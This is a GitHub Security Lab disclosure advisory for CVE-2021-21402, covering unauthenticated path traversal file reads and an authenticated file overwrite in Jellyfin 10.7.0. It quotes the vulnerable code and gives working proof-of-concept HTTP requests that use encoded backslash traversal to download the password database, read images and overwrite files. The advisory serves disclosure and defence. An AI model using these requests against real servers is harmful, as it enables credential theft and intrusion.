skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
April 1, 2021

GHSL-2021-050: Unauthenticated arbitrary file read in Jellyfin - CVE-2021-21402

Jaroslav Lobacevski

Coordinated Disclosure Timeline

Summary

Jellyfin allows unauthenticated arbitrary file read.

Product

Jellyfin

Tested Version

The latest 10.7.0 and older

Details

Issue 1: Unauthenticated arbitrary file read in /Audio/itemId/hls/segmentId/stream.mp3 and /Audio/itemId/hls/segmentId/stream.aac

Both the /Audio/{Id}/hls/{segmentId}/stream.mp3 and /Audio/{Id}/hls/{segmentId}/stream.aac routes allow unauthenticated [1] arbitrary file read on Windows. It is possible to set the {segmentId} part of the route to a relative or absolute path using the Windows path separator \ (%5C when URL encoded). Initially, it may seem like an attacker would only be able to read files ending with .mp3 and .aac [2]. However, by using a trailing slash in the URL path it is possible to make Path.GetExtension(Request.Path) return an empty extension, thus obtaining full control of the resulting file path. The itemId doesn’t matter as it is not used. The issue is not limited to Jellyfin files as it allows reading any file from the file system.

// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
    // TODO: Deprecate with new iOS app
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);

    return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}

The following request for example would download the jellyfin.db database with passwords from the server:

GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1

Impact

This issue may lead to unauthorized access to the system especially when Jellyfin is configured to be accessible from the Internet.

Issue 2: Unauthenticated arbitrary file read in /Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer

The /Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer} route allows unauthenticated [1] arbitrary file read on Windows. It is possible to set the {SegmentId}.{SegmentContainer} part of the route to a relative or absolute path using the Windows path separator \ (%5C when URL encoded). The SegmentId and file extension from Path are concatenated [2]. The resulting file is used as the second parameter to Path.Combine [3]. However, if the second parameter is an absolute path, the first parameter to Path.Combine is ignored and the resulting path is just the absolute path file.

A pre-requisite for the attack is that the jellyfin/transcodes directory contains at least one .m3u8 file [4] (i.e. some user started streaming a video or it is left there since the last stream). The itemId doesn’t matter as it is not used and PlaylistId must be a substring of the m3u8 file [5]. It can be just m as it is always in the *.m3u8 file name.

// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
    [FromRoute, Required] string itemId,
    [FromRoute, Required] string playlistId,
    [FromRoute, Required] string segmentId,
    [FromRoute, Required] string segmentContainer)
{
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();

    file = Path.Combine(transcodeFolderPath, file); //[3]

    var normalizedPlaylistId = playlistId;

    var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
    // Add . to start of segment container for future use.
    segmentContainer = segmentContainer.Insert(0, ".");
    string? playlistPath = null;
    foreach (var path in filePaths)
    {
        var pathExtension = Path.GetExtension(path);
        if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
                || string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
            && path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
        {
            playlistPath = path;
            break;
        }
    }

    return playlistPath == null
        ? NotFound("Hls segment not found.")
        : GetFileResult(file, playlistPath);
}

PoC:

GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1

Impact

This issue may lead to unauthorized access to the system especially when Jellyfin is configured to be accessible from the Internet.

Issue 3: Authenticated arbitrary file read in /Videos/Id/hls/PlaylistId/stream.m3u8

/Videos/{Id}/hls/{PlaylistId}/stream.m3u8 allows arbitrary file read on Windows. In this case it requires authentication. It may seem like an attacker would only be able to read files ending with .m3u8[1]. However, by using a trailing slash in the URL path it is possible to make Path.GetExtension(Request.Path) return an empty extension, thus obtaining full control of the resulting file path. The itemId doesn’t matter as it is not used.

[HttpGet("Videos/{itemId}/hls/{playlistId}/stream.m3u8")]
[Authorize(Policy = Policies.DefaultAuthorization)]
//...
public ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string playlistId)
{
    var file = playlistId + Path.GetExtension(Request.Path); //[1]
    file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);

    return GetFileResult(file, file);
}

PoC:

GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

Impact

This issue may lead to privilege elevation.

Issue 4: Unauthenticated arbitrary image file read in /Images/Ratings/theme/name, /Images/MediaInfo/theme/name and Images/General/name/type

The /Images/Ratings/{theme}/{name}, /Images/MediaInfo/{theme}/{name} and /Images/General/{name}/{type} routes allow unauthenticated arbitrary image file read on Windows. It is possible to set the {theme}[1] or {name}[2] part of the route to a relative or absolute path using the Windows path separator \ (%5C when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files [3]: .png, .jpg, .jpeg, .tbn, .gif.

[HttpGet("MediaInfo/{theme}/{name}")]
[AllowAnonymous]
//...
public ActionResult GetMediaInfoImage(
    [FromRoute, Required] string theme,
    [FromRoute, Required] string name)
{
    return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name);
}
//...
private ActionResult GetImageFile(string basePath, string theme, string? name)
{
    var themeFolder = Path.Combine(basePath, theme); //[1]
    if (Directory.Exists(themeFolder))
    {
        var path = BaseItem.SupportedImageExtensions.Select(i => Path.Combine(themeFolder, name + i)/*[2]*/) //[3]
            .FirstOrDefault(System.IO.File.Exists);

        if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path))
        {
            var contentType = MimeTypes.GetMimeType(path);
            return PhysicalFile(path, contentType);
        }
    }

PoCs to download c:\temp\filename.jpg:

GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1

GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1

Impact

This issue may lead to unauthorized access to image files especially when Jellyfin is configured to be accessible from the Internet.

Issue 5: Authenticated arbitrary file overwrite in /Videos/itemId/Subtitles not limited to Windows

Videos/{itemId}/Subtitles allows arbitrary file overwrite by an elevated user. Since it requires administrator permissions, it is not clear if this crosses security boundaries.

PoC:

POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...

{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64 encoded data"}

Impact

This issue may lead to post-authenticated arbitrary remote code execution.

CVE

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-050 in any communication regarding this issue.